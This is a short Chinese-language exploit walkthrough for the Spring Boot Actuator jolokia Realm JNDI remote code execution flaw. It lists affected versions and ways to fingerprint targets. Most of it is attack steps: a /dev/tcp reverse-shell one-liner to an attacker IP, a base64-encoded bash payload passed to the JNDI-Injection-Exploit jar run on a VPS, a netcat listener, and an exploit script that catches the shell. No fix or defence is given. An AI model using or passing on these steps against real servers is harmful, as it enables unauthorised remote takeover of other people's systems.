Spring Boot jolokia Realm JNDI远程代码执行漏洞
一、漏洞简介
Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。当配置jolokia/list
接口,且访问jolokia/list
接口存在type=MBeanFactory
和createJNDIRealm
关键字时,存在Spring jolokia Realm JNDI
远程代码执行漏洞。
二、影响版本
- Spring Boot < 1.5 默认未授权访问所有端点
- Spring Boot >= 1.5 默认只允许访问/health和/info端点,但是此安全性通常被应用程序开发人员禁用
Spring Boot 1.x版本端点在根URL下注册。
Spring Boot 2.x版本端点移动到/actuator/路径。
三、系统特征
- 网站图片文件是一个绿色的树叶。
- 特有的报错信息。
- 存在
/jolokia/list
接口
四、漏洞复现
- 确认存在
type=MBeanFactory
和createJNDIRealm
关键字时,存在Spring jolokia Realm JNDI远程代码执行漏洞
- 生成反弹shell命令
/bin/bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1
- 将上述反弹shell命令base64编码后替换到下述
command
字符处,vps
处填写为vps ip
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,command}|{base64,-d}|{bash,-i}" -A "vps"
- 将
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
上传到vps中运行上述命令
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
- 修改 expliot 中的 url 和 rmi 地址
- nc 监听端口
nc -lvvp 7777
- 执行exp收到反弹shell
python3 exploit.py